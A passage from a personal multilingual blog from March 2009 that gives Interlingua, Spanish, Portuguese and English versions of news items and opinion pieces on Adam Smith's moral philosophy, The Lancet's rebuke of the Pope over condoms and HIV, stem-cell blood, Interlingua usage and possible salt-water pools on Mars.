sino como la forma de capturar la interacción de los sentimientos, emociones u opiniones humanas en los escenarios reales de la vida.\nEn muchos sentidos, es un libro de sociología y de psicología social y moral. Eso significa que debemos entender cómo las sociedades y los individuos funcionaran no como entidades separadas sino como parte de un complejo total.\nCiertamente, uno de las ideas clave del libro es la oposición de Smith a la visión de que toda la moralidad o virtud se puede reducir al interés personal, como si los individuos operaran aislados preocupados solamente de su propio bienestar.\nDirectamente en su comienzo el libro declara que la experiencia humana cotidiana prueba que eso es falso. \"Por más egoísta que se pueda suponer al hombre\", escribe Smith, \"existen evidentemente en su naturaleza algunos principios que le hacen interesarse por la suerte de otros, y hacen que la felicidad de estos le resulte necesaria, aunque no derive de ella nada más que el placer de contemplarla\".\nPara Smith, la actual crisis demuestra no las fallas intrínsecas del sistema sino lo que pasa cuando su dimensión moral es extraída o descuidada y pensaba que vivir en la pobreza era como vivir condenado a hacer tareas limitadas y repetitivas (como afilar clavos varios miles de veces al día), algo que perjudicaba nuestras virtudes mentales y morales.\nSmith nunca separó la conducta económica del contexto moral en el que ocurre. Su punto de vista sobre la moralidad económica no excluye la posibilidad de la regulación gubernamental de los mercados económicos. Así, esos afiladores de clavos merecen intervención pública (vía la educación) para compensar el daño causado por su empleo.\nY habló mucho sobre los bancos, cuya conducta evaluó no en particular sino en general. Con un increíble entendimiento escribió en \"La riqueza de las naciones\" que aunque las regulaciones podían limitar la libertad de los banqueros para hacer lo que querían, eran totalmente justificadas, de la misma manera en que la obligación de instalar paredes para evitar que se extienda un incendio limita la libertad de los arquitectos.\nSmith, obviamente, no es Marx (él prefiere un sistema libre), pero la famosa crítica que hizo Marx de un capitalismo que elimina por completo la posibilidad de una vida satisfactoria para sus empleados es un eco de la clase de crítica que Smith ya había hecho.\n---\nAdam Smith and Today's Economic Crisis\nAdam Smith is considered the \"father of capitalism,\" but what would he think of this economic crisis?\nDuring a conference at the University of Glasgow to celebrate the 250th anniversary of the publication of his book \"The Theory of Moral Sentiments,\" a renowned academic, Christopher Berry, dean of the faculty of Law, Commerce and Social Science at Glasgow University, insists that Smith would be disappointed to see how modern capitalism works.\nIn a seemingly perverse way, the current financial climate, which has generated some renewed interest in Marx, is also calling attention to the legacy of Smith, \"the father of capitalism,\" the advocate for \"market forces\", the enemy of government regulation and believer in something called the \"invisible hand\" that produces optimal economic performance.\nBut if we were to ask what Smith would have thought of \"packets of insured loans\" or \"toxic debt\" and other similar things, his response would surely have been that these practices were contrary to everything (that) he tried to teach.\nSmith was first and foremost a teacher. He was professor of logic and then a professor of moral philosophy at Glasgow University, where he had studied.\nIn \"Moral Sentiments\", Smith treats moral philosophy not as a delineation of rational or divine formulas but as a way of capturing the interaction of feelings, human emotions, and opinions in real-life scenarios.\nIn many ways, it is a book of sociology and moral and social psychology. It says (that) we should understand how societies and individuals function not as separate entities but as parts of a complex whole.\nCertainly one of the key ideas of the book is Smith's opposition to the view that morality or virtue can be reduced to personal interest, as if individuals operated in isolation and were concerned only with their own welfare.\nDirectly at its beginning the book declares that everyday human experience proves that this is false. \"However greatly people can be assumed to be selfish,\" Smith writes, \"there evidently exists in their nature a set of principles promoting their interest in the fate of others and making their happiness necessary even though such people do not derive from it anything more than the pleasure of contemplating the welfare of others.\"\nFor Smith, the current crisis shows no intrinsic flaws of the system but what happens when its moral dimension is removed or neglected, and he felt that living in poverty was like being condemned to do limited and repetitive work (such as sharpening nails several thousand times a day), something that harms our mental and moral virtues.\"\nSmith never separated economic conduct from the moral context in which it occurs. His perspective on economic morality does not exclude the possibility of government regulation of economic markets. Thus, those people filing nails deserve public intervention (through education) to compensate for the damage they are caused by their employment.\nAnd he spoke a lot about banks, whose behavior he evaluated not in particular but in general terms. With amazing understanding he wrote in \"The Wealth of Nations,\" that although regulations might limit the freedom of the bankers to do what they wanted, they were fully justified in the same way that the obligation to build walls to keep fires from spreading limits the freedom of architects.\nSmith, obviously, is not Marx (he prefers a free system), but the famous critique that Marx made of a capitalism that completely eliminates the possibility of a satisfying life for its employees is an echo of the kind of criticism that Smith had already made.\nPosted by hkyson at 4:42 PM\nSaturday, March 28, 2009\n(Languages of this post: Interlingua, English)\nIo non haberea ulle querela con RATzinger si ille habeva dicite isto sur le problema del HIV:\n\"Ben que le ecclesia catholic insenia que le sexo solmente debe occurrer in le contexto de matrimonio inter homines e feminas maritate, io recognosce que multes non crede isto--mesmo multe catholicos. Io anque recognosce que se ha demonstrate que le uso de preservativos es un maniera statisticamente efficace de reducer le taxa de infection del virus que causa SIDA. E ben que le ecclesia non approba le uso de preservativos a causa de su proprie preceptos del moralitate, io recognosce que alteres non es de accordo con le ecclesia e que illes debe haber accesso a ulle maniera scientificamente valide de reducer le taxa de infection de iste virus horribile.\"\n---\nI would not have any quarrel with RATzinger if he had said this about the HIV problem:\n\"Though the catholic church teaches that sex should occur only in the context of matrimony between married men and women, I recognize that many do not believe this--even many catholics. I also recognize that it has been demonstrated that the use of condoms is a statistically effective way of reducing the rate of infection of the virus that causes AIDS. And though the church does not approve of the use of condoms because of its own ideas about morality, I recognize that others do not agree with the church and that they should have access to any way scientifically valid way of reducing the rate of infection of this horrible virus.\"\n(Languages of this post: Interlingua, Spanish, English)\nUn ex le revistas de medicina le plus prestigiose del mundo, \"The Lancet\", accusava le papa Benedicto XVI de distorquer evidentia scientific in su declarationes contra le uso de preservativos como forma de combatter le SIDA.\n\"Le problema del SIDA non pote esser vencite con le distribution de preservativos. Illo solmente augmenta le problema\", habeva dicite RATzinger a jornalistas in le avion que le transportava a Africa le septimana passate.\nIn un nota editorial, le magazin Britannic reageva dicente que le papa \"distorqueva publicamente evidentia scientific con le fin de promover le doctrina catholic sur iste problema\".\n\"Il non esseva clar si le error de RATzinger veniva del ignorantia\", diceva le magazine anglese, o si il esseva un intento deliberate de manipular le scientia pro appoiar le doctrina catholic sur le thema.\nIn su declarationes, RATzinger anque habeva accentuate \"que se ha demonstrate que le doctrinas traditional del ecclesia es le sol forma secur de prevenir le transmission del VIH\/SIDA\".\nMa \"The Lancet\" accentuava que le uso de preservativos es le forma le plus efficace de reducer le transmission sexual del Virus de Immunodeficientia Human (HIV) que provoca le Syndrome de Immunodeficientia Adquerite (SIDA).\nRATzinger habeva indicate que le \"epidemia cruel\" del VIH\/SIDA deberea esser attaccate con le abstinentia e con le fidelitate e non con le uso de preservativos.\nLe articulo--considerate per multes como un attacco virulente sin precedentes sur le ecclesia catholic--insiste que RATzinger debe retraher su parolas.\n\"Quando ulle persona influente, sia un figura religiose o politic, face un declaration scientificamente false que pote esser devastante pro le sanitate de millions de personas, ille debe retraher lo o rectificar lo in publico\".\n\"Ulle cosa que non es un rectification que veni de RATzinger\", diceva le articulo, \"esserea un immense disservicio pro le publico e pro illes qui advoca pro le sanitate, includente milles de catholicos qui travalia infatigabilemente pro tractar e prevenir le transmission del VIH\/SIDA in le mundo\".\n---\nRevista médica critica duramente al Papa\nUna de las revistas de medicina más prestigiosas del mundo, \"The Lancet\", acusó al papa Benedicto XVI de distorsionar evidencia científica en sus declaraciones en contra del uso de condones como forma de combatir el virus del SIDA.\n\"El problema del SIDA no puede ser vencido con la distribución de condones. Eso sólo aumenta el problema\", había dicho RATzinger a periodistas a bordo del avión que lo conducía a África la semana pasada.\nEn una nota editorial, la revista británica reaccionó diciendo que el Papa \"distorsionó públicamente evidencia científica con el fin de promover la doctrina católica sobre este problema\".\n\"No quedó en claro si el error de RATzinger se debió a la ignorancia\", dijo el periódico inglés, \"o si fue un intento deliberado de manipular a la ciencia para apoyar la doctrina católica sobre el tema\".\nEn sus declaraciones, RATzinger también había destacado \"que las enseñanzas tradicionales de la iglesia han demostrado ser la única forma segura de prevenir la transmisión del VIH\/SIDA\".\nPero \"The Lancet\" enfatizó que el condón es la forma más eficiente de reducir la transmisión sexual del Virus de Inmunodeficiencia Humana (VIH) que provoca el Síndrome de Inmunodeficiencia Adquirida (SIDA).\nRATzinger había indicado que la \"epidemia cruel\" del VIH\/SIDA debería ser atacada con la abstinencia y la con fidelidad en lugar de usar condones.\nEl artículo--considerado por muchos como un ataque virulento sin precedentes--insta a RATzinger a retractarse de sus palabras.\n\"Cuando cualquier persona influyente, sea una figura religiosa o política, hace una declaración científicamente falsa que puede ser devastadora para la salud de millones de personas, debería retractarse o rectificarse en publico\".\n\"Cualquier cosa que no sea una rectificación que venga de RATzinger\", dijo el artículo, \"sería un inmenso deservicio para el público y para los que abogan por la salud, incluyendo a miles de católicos que trabajan incansablemente para reducir la transmisión del VIH\/SIDA en el mundo\".\n---\nMedical journal criticizes the Pope\nOne of the most prestigious medical journals in the world, \"The Lancet,\" accused Pope Benedict XVI of distorting scientific evidence in his statements against the use of condoms as a way of combatting the AIDS virus.\n\"The problem of AIDS can not be beaten with the distribution of condoms. That only increases the problem,\" RATzinger told reporters aboard the plane that led to Africa last week.\nIn an editorial, the British responded by saying that the pope \"publicly distorted evidence in order to promote Catholic dogma relating to this problem.\"\n\"It was unclear whether the error was due to RATzinger's ignorance,\" said the English newspaper, \"or if it was a deliberate attempt to manipulate science to support Catholic teachings on this subject.\"\nIn his statements, RATzinger also emphasized that the traditional teachings of the church have proven to be the only sure way to prevent transmission of HIV\/AIDS. \"\nBut The Lancet pointed out that the condom is the most efficient way to reduce the sexual transmission of Human Immunodeficiency Virus (HIV) that causes Acquired Immunodeficiency Syndrome (AIDS).\nRATzinger had indicated that the \"cruel epidemic\" of HIV\/AIDS should be attacked with abstinence and fidelity rather than through the use of condoms.\nThe article--considered by many as an unprecedented virulent attack--urges the Pope to retract his words.\n\"When any influential religious or political figure makes a false statement that scientifically can be devastating to the health of millions he should retract it or correct it in public.\"\n\"Anything that is not a correction coming from RATzinger,\" said the article \"would be an immense disservice to the public and health advocates, including thousands of Catholics who are working tirelessly to reduce the transmission of HIV\/AIDS in the world.\"\nPosted by hkyson at 5:30 PM\n(Languages of this post: Interlingua, Spanish, English)\nScientistas Britannic comenciara un studio pro investigar si il es possibile producer sanguine synthetic con celluluas matre embryonic\/embryionari. Iste sanguine, dice le scientistas, esserea libere de infectiones e poterea producer se in quantitates illimitate pro transfusiones de emergentia.\nDurante le investigation le scienistas analysara embryones human de surplus ex tractamentos de fecundation in vitro pro seliger illos que poterea destinar se al disveloppamento de sanguine del typo de donante universal, le O-negative.\nIste gruppo de sanguine pote esser transferite a ulle persona qui non ha problemas de rejection de texitos. Y illo es le sol option secur quando on non cognosce le tipo de sanguine del patiente o si illo non es disponibile immediatemente. Le stock de iste gruppo de sanguine es multo limitate proque solmente 7% del population lo ha.\nLe investigation essera dirigite per le professor Mark Turner del Universitate de Edinburgh, qui dirige le Servicio National Scotese de Transfusion de Sanguine. E on spera que le studio comenciara in le proxime septimanas un vice que on obtinera le approbation final del autoritates de investigation scientific.\nLe investigation ha le intention de converter le cellulas matre embrionari in globulos rubie capace de transportar oxygeno in transfusiones de emergentia.\nIste tipo de sanguine synthetic, dice le investigatores, ultra esser disponibile immediatemente, haberea le beneficio de non haber infectiones de viruses como le VIH, hepatitis, o le forma human del maladia de \"vaccas folle\".\n---\nLa posibilidad de producer sangre sintética con células madre\nCientíficos británicos comenzarán un estudio para investigar si es posible producir sangre sintética con células madre embrionarias. Esta sangre, dicen los científicos, sería libre de infecciones y se podría producir en cantidades ilimitadas para transfusiones de emergencia.\nDurante la investigación los científicos analizarán embriones humanos sobrantes de tratamientos de fecundación in vitro para seleccionar a aquéllos que podrían destinarse al desarrollo de sangre del tipo de donante universal, la O-negativa.\nEste grupo de sangre puede ser transferida a cualquier persona que no tenga problemas de rechazo de tejido. Y es la única opción segura cuando no se conoce el tipo de sangre del paciente o si no está disponible de inmediato. El abastecimiento de este grupo de sangre es muy limitado porque sólo 7% de la población lo tiene.\nLa investigación será dirigida por el profesor Mark Turner de la Universidad de Edimburgo, quien dirige el Servicio Nacional Escocés de Transfusión de Sangre. Y se espera que el estudio comience en las próximas semanas una vez que se obtenga la aprobación final de las autoridades de investigación científica.\nLa investigación intenta convertir a las células madre embrionarias en glóbulos rojos capaces de transportar oxígeno en transfusiones de emergencia.\nEste tipo de sangre sintética, dicen los investigadores, además de estar disponible de inmediato, tendría el beneficio de no tener infecciones de virus como el VIH, hepatitis o la forma humana de la enfermedad de las \"vacas locas\".\n---\nThe possibility of producing synthetic blood from stem cells\nBritish scientists will begin a study to investigate whether it is possible to produce synthetic blood with embryonic stem cells. This blood, scientists say, would be free from infection and could be produced in unlimited quantities for emergency transfusions.\nDuring this research project the scientists will analyze human embryos left over from in-vitro fertilization treatments to select those that could be used in the development of the universal-donor blood type, O-negative.\nThis blood type can be transferred to any person with no problems of tissue rejection. And it is the only safe option when the patient's blood type is unknown or is not immediately available. The supply of this blood group is very limited because only 7% of the population has it.\nThe investigation will be headed by Professor Mark Turner of the University of Edinburgh, who heads the Scottish National Blood Transfusion Service. And the study is expected to begin in the coming weeks once final approval is obtained from the scientific research authorities.\nThe research has the goal of converting embryonic stem cells into red blood cells capable of carrying oxygen in emergency transfusions.\nThis type of synthetic blood, researchers say, besides being available immediately, would have the benefit of not carrying viral infections such as HIV, hepatitis, or the human form of mad cow disease.\nPosted by hkyson at 4:08 PM\nFriday, March 27, 2009\n(Languages of this post: Interlingua, English)\nJosu Lavin ha dicite isto:\n\"On dice que tote le libros in interlingua deberea esser in le rete. E mesmo dictionarios, etc. Si, forsan. Ma que face le Servicio de libros del UMI con tote le quantitate de libros imprimite que illo ha? Comburer los?\"\nLe libros imprimite del Servicio de libros del UMI es completemente inutile si illos solmente collige pulvere in le loco ubi illos es immagasinate. Iste es quasi le equivalentia de comburer los. Le sol differentia es que il es possibile que eventualmente on los distribuera pro esser legite. Si on los combure, naturalmente, isto non essera possibile.\nIo crede que nos debe dar un copia de omne illos a Google pro scanation e distribution libere per le Rete. Io non pote esser completemente confidente que Google volerea facer isto, ma io crede que isto es ben possibile.\n---\nJosu Lavin has said this:\n\"It has been said that all books in Interlingua should be on the Net. Even dictionaries, etc. Yes, perhaps. But what will UMI's books service do with all the books that it has? Burn them?\"\nThe printed books of UMI's book service are completely useless if they only collect dust in the place where they are stored. This is almost the equivalent of burning them. The only difference is that it is possible that eventually they will be distributed to be read. If they are burned, naturally, this will not be possible.\nI believe that we should give a copy of all of them to Google for scanning and free distribution throughout the Net. I can't be completely confident that Google would want to do this, but I believe that it is quite possible.\nPosted by hkyson at 7:42 PM\n(Languages of this post: Interlingua, English)\nJusu Lavin ha ration quando ille dice que il ha pauchissime interlinguistas qui sape parlar e scriber le lingua vermente ben.\nOmne iste interlinguistas ha apprendite le lingua usante diverse fontes de textos e exercitios preparate per interlinguistas qui ha disvellopate lor proprie idiolectos del (collection de) idiolectos de altere interlinguistas. Assi, il es ver que interlingua non es perfectemente unificate. Mesmo in su documentos de origine preparate per Alexande Gode, interlingua non esseva perfectemente unificate. Gode presentava formas alternative de alicun particulas, pro exemplo.\nStan Mulaik, naturalmente, ha le derecto de usar interlingua como ille vole, e su version del lingua, naturalmente, ha diverse mulaikismos. E le version del lingua que io usa, naturalmente, ha diverse kysonismos. Le differentia inter Stan e me es que sovente Stan ha insistite que omnes debe usar interlingua secundo su proprie practicas. Io, naturalmente, assere mi proprie derecto de usar interlingua secundo mi proprie preferentias, ma io nunquam insiste que mi version del lingua es le sol version valide del lingua, e io sovente dice que si alteres vole copiar mi textos pro uso in altere sitos in le Rete, illes es libere a rediger los secundo lor proprie preferentias in le uso del lingua.\nIn le caso de linguas ethnic, il ha grande gruppos de usatores cuje communication interactive presenta multe modellos valide de imitation. Ma mesmo in le caso de grande linguas mundial--como le anglese, le espaniol, e le portugese--il ha dialectos regional que differe inter se, e il es un exercitio completemente arbitrari seliger un de iste dialectos regional como le sol forma \"correcte\" o \"echt\" del lingua.\nLe pronunciation de interlingua presenta problemas special. Pro Alexander Gode, considerationes de pronunciation habeva un importantia secondari proque ille credeva que le utilitate principal de interlingua esserea como un medio de communication scribite principalmente in textos scientific. Assi, il ha diverse possibilitates pro extraher un systema phonologic del interlingua scribite. Io, pro mi parte, prefererea pronunciar interlingua secundo le normas del latino ecclesiastic contemporanee. Ma nunc emerge un norma de plus in plus unificate pro le pronunciation de interlingua que imita le normas del latino medieval como illo esseva pronunciate in le paises septentrional de Europa.\n(Recentemente, io videva in youtube un video del latinista principal del Vaticano, un americano qui pronunciava le latino con un forte accento que reflecte le influentia de su lingua native, le anglese american. Un romano del periodo classic nunquam haberea potite comprender le latino como ille lo pronunciava in iste video. Si ille parlava interlingua de iste maniera, naturalmente, multes le criticarea pro su pronunciation.)\nComo le normas de construction de interlingua sempre ha essite flexibile de facto in su forma e scribite e parlate, io es convencite que quando interlinguistas individual presenta registrationes de lor version del lingua parlate, illes debe presentar simultaneemente transcriptiones scribite de lor textos pro facilitar le comprension de illes qui studia iste communicationes. E io es anque convencite que nos debe acciper con resignation que interlingua nunquam ha essite e probabilemente nunquam essera perfectemente unificate como ulle altere lingua vivente como le anglese, le espaniol, e le portugese, le quales ha multissime usatores native.\n---\nJosu Lavin is right when he says that there are very few Interlinguists who know how to speak and write the language really well.\nAll these interlinguists have learned the language by using various sources of texts and exercises prepared by Interlinguists who have developed their own idiolects from the (collection of) idiolects of other Interlinguists. It is therefore true that Interlingua is not perfectly unified. Even in its original documents prepared by Alexander Gode, Interlingua was not perfectly unified. Gode presented alternative forms of some particles, for example.\nStan Mulaik, naturally, has the right to use Interlingua as he wants, and his version of the language, naturally, has various Mulaikisms. And the version of the language that I use, of course, has various Kysonisms. The difference between Stan me is that often Stan has insisted that everyone should use Interlingua according to his own practices. I, of course, assert my own right to use Interlingua according to my own preferences, but I never insist that my version of the language is the only valid version of the language, and I often say that if others want to copy my texts for use in other sites on the Net, they are free to edit them according to their own preferences in the use of the language.\nIn the case of ethnic languages, there are large groups of users whose interactive communication presents many valid models for imitation. But even in the case of large worldwide languages--such as English, Spanish, and Portuguese--there are regional dialects that differ among themselves, and it is a completely arbitrary exercise to select one of these regional dialects as the only \"correct\" or \"echt\" form of the language.\nThe pronunciation of Interlingua presents special problems. For Alexander Gode, considerations of pronunciation were of secondary importance because he believed that the principal usefulness of Interlingua would be as a written medium of communication in scientific texts. Thus there are various possibilities for extracting a phonological system from written Interlingua. I myself would prefer to pronounce Interlingua according to the norms of contemporary ecclesiastical Latin. But there is now emerging a more and more unified pronunciation of Interlingua that imitates the norms of medieval Latin as it was pronounced in the northern countries of Europe.\n(Recently, I saw on youtube a video of the Vatican's principal Latinist, an American who pronounced Latin with a strong accent that reflects the influence of his native language, American English. A Roman from the classical period would never have been able to understand Latin the way he pronounced it in this video. If he spoke Interlingua in this way, naturally, many would criticize him for his pronunciation.)\nSince the norms for constructing Interlingua have always been flexible de facto in both its written and spoken forms, I am convinced that when individual Interlinguists present recordings of their version of the spoken language, they should simultaneously present written transcriptions of their texts to make it easier for people studying these communications to understand them. And I am also convinced that we should resign ourselves into accepting the fact that Interlingua has never been and will probably never be perfectly unified just like any other language like English, Portuguese, and Spanish, which have many native speakers.\nPosted by hkyson at 4:47 PM\n(Languages of this post: Interlingua, Portuguese, English)\nScientistas de NASA, le agentia spatial American, affirma que Marte pote haber piscinas de aqua salate un pauco sub su superficie. (Anteriormente, le recercatores credeva que le aqua existeva in Marte solmente in le forma de glacie o vapor, debite al temperaturas basse e al pression atmospheric del planeta.) Ma le sonda Phoenix, de NASA, monstrava le presentia de sales perchlorate in le solo del planeta, le quales pote mantener le aqua in un stato liquide in temperaturas usque 70 grados negative.\n\"Io crede que iste piscinas existe. Ma il ha plus a discoperir sur le proprietates de iste solutiones de perchloratos, como, pro exemplo, qual es le pression del vapor\", diceva Mike Hecht, del Laboratorio de Propulsion a Jecto de NASA, in Pasadena, California.\nLe sonda Phoenix, lanceate in augusto, 2007, conduceva operationes in le solo martian pro plus que cinque menses ante succumber al temperaturas frigide e al obscuritate del hiberno de Marte. Le robot excavava, forava, e combureva le solo martian pro determinar si il habeva vita in le planeta, e illo se transformava in le prime mission a analysar monstras de aqua e glacie trovate centimetros sub le superficie del solo. On videva pecias de glacie durante que illos vaporisava ante le cameras del sonda.\nLe sonda Phoenix usava appoios pro diminuer le impacto del prime contacto de Phoenix sur Marte. E iste appoios moveva le solo plus superficial, exponente le aqua e glacie a solmente alicun centimetros sub le superficie del planeta.\nUn del complimentos de Phenix esseva \"toccar\" glacie de aqua in Marte. \"Hic se trova omne iste sales perchlorate, e ben sub illos, a alicun centimetros, il ha un placa (de aqua con glacie). Non multe imagination es necesse pro affirmar que iste duo materiales va a interagir inter se\", diceva Hecht.\nSur le terra, le perchloratos, sales derivate del acido perchloric, se usa in airbags, focos artificial, e combustibile solide pro rocchettas. E le scientistas solmente comencia a comprender le importantia que iste sales pote haber in Marte.\nPro Hecht, le formation de tascas de liquidos in Marte necessitarea concentrationes correcte de sales perchlorate. \"In iste caso nos ha un pauco de perchlorate e grande trenchos de glacie\", ille diceva. \"Io tunc poterea imaginar que nos ha un excesso de aqua. Isto significa que se deberea formar un piscina de aqua de sal in temperaturas basse si iste duo cosas iva a interagir\".\nAltere recercatores dice que le concentrationes de iste sales trovate presso Phoenix totevia es componentes parve del chimia general del solo de Marte e le idea de Hecht ha besonio de verificationes ulterior. Mesmo assi, Hecht affirma que le discoperimento de iste compostos indica que Marte es plus simile al terra in plure aspectos.\nTroy Hudson, un altere scientista del Laboratorio de Propulsion a Jecto de NASA, affirmava que le perchloratos pote star a controlar le quantitate de vapor de aqua in le atmosphera de Marte.\nE le presentia de iste perchloratos anque pote explicar le ration proque le sondas Phoenix o Viking in le decada del annos septanta non trovava probas plus concrete del presentia de componentes \"organic\", o sia compostos molecular que contine carbon.\n\"Le perchloratos, si on los caleface in le furno (de Phoenix) libera le oxigeno e combure le compostos organic\", diceva Peter Smith, le chef del mission de scientistas. Smith affirmava que plure probas indica le action de aqua liquide in le passato, in le area ubi le Phoenix faceva contacto con le planas septentrional de Marte. Iste evidentia include le presentia de minerales aqueose, solo cimentate, e le discoperimento de que parte del glacie se trovava \"separate\" durante que illo fundeva.\n\"Il es probabile que in un clima plus calide e humide, como quando le axe de Marte se inclina, isto cambia e pote esser al minus un loco ubi le aqua liquide esseva trovate. Isto non significa que illo es un laco. Solmente significa que le solo se trova molliate\", affirmava Smith, qui es del Universitate de Arizona.\nLe discoperimento de carbonato de Calcio in le solo anque suggere le action de aqua liquide in le passato. Le substantia se trova in roccas per omne nostre planeta.\nSecundo Peter Smith iste substantia occurre in nivellos que varia inter 3% e 5% in le area de contacto inter Phoenix e Marte, formante se, probabilemente, quando le bioxido de carbon del atmosphera martian se dissolveva in aqua liquide, formante un acido debile que removeva le calico del solo.\nMilton Renno, un professor del Universitate de Michigan, presentava provas de que guttettas de aqua liquide pote esser vidite in photos de un del gambas de appoio del Phoenix. \"Illes move, cade, e se funde\", ille diecva, ma Mike Hecht e Tom Pike, do Imperial College of London, crede que probabilemente iste guttettas es glacie.\n---\nMarte pode ter piscinas de água salgada, diz Nasa\nCientistas da Nasa, a agência espacial americana, afirmam que Marte pode ter piscinas de água salgada um pouco abaixo de sua superfície. (Anteriormente os pesquisadores acreditavam que a água existiu em Marte na forma de gelo ou vapor, devido às temperaturas baixas e à pressão atmosférica do planeta.) Mas a sonda Phoenix, da Nasa, mostrou a presença de sais percloratos no solo do planeta, que podem manter a água em estado líquido em temperaturas de até 70 graus negativos.\n\"Acredito que estas piscinas existam. Mas ainda há mais para descobrir a respeito das propriedades destas soluções de percloratos, como por exemplo, qual é a pressão do vapor\", disse Mike Hecht, do Laboratório de Propulsão a Jato da Nasa, em Pasadena, Califórnia.\nA sonda Phoenix, lançada em agosto de 2007, conduziu operações no solo marciano por mais de cinco meses antes de sucumbir ao frio e à escuridão do inverno de Marte. O robô cavou, perfurou e queimou o solo marciano para analisar se o planeta já abrigou vida, e se transformou na primeira missão a analisar amostras de água e gelo encontradas centímetros abaixo da superfície do solo. Pedaços de gelo foram vistos vaporizando diante das câmeras da sonda.\nA sonda Phoenix usou apoios para diminuir o impacto do pouso na superfície de Marte. E estes apoios moveram o solo mais superficial, expondo a água e gelo a apenas alguns centímetros abaixo.\nUm dos feitos da Phoenix foi 'tocar' a água com gelo em Marte. \"Aqui estão todos estes sais percloratos, e bem abaixo deles, a alguns centímetros, é uma placa (de água com gelo). Não é preciso muita imaginação para afirmar que estes dois materiais vão interagir entre se\", disse Hecht.\nNa Terra os percloratos, sais derivados do ácido perclórico, são usados em airbags, fogos de artifício e combustível sólido para foguetes. E os cientistas estão apenas começando a entender a importância que estes sais podem ter em Marte.\nPara Hecht a formação de bolsões de líquidos em Marte iria necessitar as concentrações corretas de sais percloratos. \"Neste caso temos um pouco de perclorato e grandes fatias de gelo, então posso imaginar que temos um excesso de água\", disse. \"Isto significa que você teria que formar uma piscina de água de sal em temperatura baixa, se os dois interagirem\".\nOutros pesquisadores afirmam que as concentrações destes sais encontrados no local de pouso da Phoenix ainda são componentes pequenos da química geral do solo de Marte e a ideia de Hecht ainda precisa de mais testes. Mesmo assim, Hecht afirma que a descoberta destes compostos faz com que Marte seja mais parecido com a Terra em vários aspectos.\nTroy Hudson, outro cientista do Laboratório de Propulsão a Jato da Nasa, afirmou que os percloratos podem estar controlando a quantidade de vapor de água na atmosfera de Marte.\nE a presença destes percloratos também pode explicar a razão de a Phoenix, ou a sonda Viking na década de 70, não terem encontrado provas mais concretas da presença de compostos \"orgânicos\", compostos moleculares que contenham carbono.\n\"Os percloratos, se você os esquentar no forno (da Phoenix), liberam o oxigênio e queimam os compostos orgânicos\", disse Peter Smith, chefe da missão de cientistas. Smith afirmou que várias provas apontam para ação de água líquida no passado, no local onde a Phoenix pousou, nas planícies do norte de Marte. Estas provas incluem a presença de minerais aquosos, solo cimentado e a descoberta de que parte do gelo estava \"separado\" à medida que derretia.\n\"É provável que em um clima mais quente e úmido, como quando o eixo de Marte se inclina, isto mude e pode ser apenas um lugar no qual a água líquida foi encontrada. Não significa que é um lago. Apenas significa que o solo está molhado\", afirmou Smith, que é da Universidade do Arizona.\nA descoberta de carbonato de cálcio no solo também sugere a ação de água líquida no passado. A substância é encontrada em rochas por todo o nosso planeta. Segundo Peter Smith esta substância ocorre em níveis que variam entre 3% e 5% no local do pouso da Phoenix provavelmente se formando enquanto o dióxido de carbono da atmosfera marciana se dissolvia em água líquida, formando um ácido fraco que retirou o cálcio do solo.\nMilton Renno, professor da Universidade de Michigan, apresentou provas de que gotículas de água líquida podem ser vistas em fotos do suporte de uma das pernas de apoio da Phoenix. \"Elas movem, gota e fusão\", ele disse. Mas Mike Hecht e Tom Pike, do Imperial College de Londres, acreditam que provavelmente essas gotículas são gelo.\n---\nMars may harbor pools of salt water, says NASA\nScientists from NASA, the U.S. space agency, say that Mars may have pools of salt water a little below the surface. (Previously researchers believed that water existed on Mars only in the form of ice or steam, due to low temperatures and atmospheric pressure on the planet.) But NASA's Phoenix spacecraft has shown the presence of perchlorates in soil salts on the planet that can keep water in a liquid state at temperatures of up to 70 degrees below zero.\n\"I believe that these pools exist. But there is more to discover about the properties of perchlorate solutions, for example how high the steam pressure is,\" said Mike Hecht of the Jet Propulsion Laboratory of NASA in Pasadena, California .\nThe Phoenix probe, launched in August 2007, performed experiments on the Martian soil for more than five months before succumbing to the cold and darkness of the Martian winter. The robot dug, drilled and burned the Martian soil to determine whether the planet has hosted life, and it became the first mission to analyze samples of water and ice found a few centimeters below the soil surface. Pieces of ice were seen evaporating before the probe's cameras.\nThe Phoenix probe used supports to soften the impact of landing on the Martian surface. And these supports moved soil near the surface, exposing water and ice only a few centimeters below.\nOne of the achievements of Phoenix was \"touching\" water ice on Mars. \"Here are all these perchlorate salts, and a few centimeters below them is a plate (water with ice). You do not need much imagination to say that these two materials will interact,\" said Hecht.\nOn Earth the perchlorates, salts derived from perchloric acid, are used in airbags, fireworks and solid fuel for rockets. And scientists are only beginning to understand the importance that these salts may have on Mars.\nFor Hecht the formation of pockets of liquid on Mars would require the correct concentration of perchlorate salts. \"Here we have a bit of perchlorate and large slices of ice. It is easy to imagine that we have an excess of water. This means you would have to form a pool of water with salt at a low temperature, if the two of them were to interact,\" he said.\nOther researchers argue that the concentration of salts found in the place where the Phoenix landed are still small parts of the general chemistry of the soil of Mars and that the idea of Hecht still needs more testing. Still, Hecht says that the discovery of these compounds means that Mars is more similar to Earth in many respects.\nTroy Hudson, another scientist from the Jet Propulsion Laboratory of NASA, said that perchlorates may be controlling the amount of water vapor in the atmosphere of Mars.\nThe presence of perchlorates could also explain the reason why the Phoenix or the Viking in the 70s, did not find more concrete evidence of the presence of organic compounds, which contain carbon.\n\"The perchlorates, if you warm them in the (Phoenix) oven, release oxygen and burn the organic compounds,\" said Peter Smith, head of the mission scientists. Smith also said that various probes indicate the action of liquid water in the past in the area where Phoenix landed on the northern plains of Mars. This evidence includes the presence of aqueous minerals, cemented soil, and the discovery that the ice was \"separated\" as it melted.\n\"It is likely that in a warmer and more humid climate, such as when the axis of Mars is tilted, all of this changes and this part of Mars may just be at least one place where liquid water is found. It does not mean that we have a lake. It only means that the soil is wet,\" said Smith, who is at the University of Arizona.\nThe discovery of calcium carbonate in the soil also suggests the action of liquid water in the past. The substance is found in rocks throughout our own planet. According to Peter Smith, this substance occurs at levels that vary between 3% and 5% at the Phoenix landing site and was probably formed formed as carbon dioxide from the Martian atmosphere was dissolved in liquid water, forming a weak acid that removed calcium from the soil.\nMilton Renno, professor at the University of Michigan, presented evidence of liquid water droplets that can be seen in photos of one of the support legs of the Phoenix. \"They move, drop and merge,\" he said. But Mike Hecht and Tom Pike of Imperial College London, believe that probably these droplets are merely ice.\nPosted by hkyson at 2:26 PM\nThursday, March 26, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio que involve scientistas de plure paises ha demonstrate que le virus del SIDA, HIV, sta a evolver rapidemente 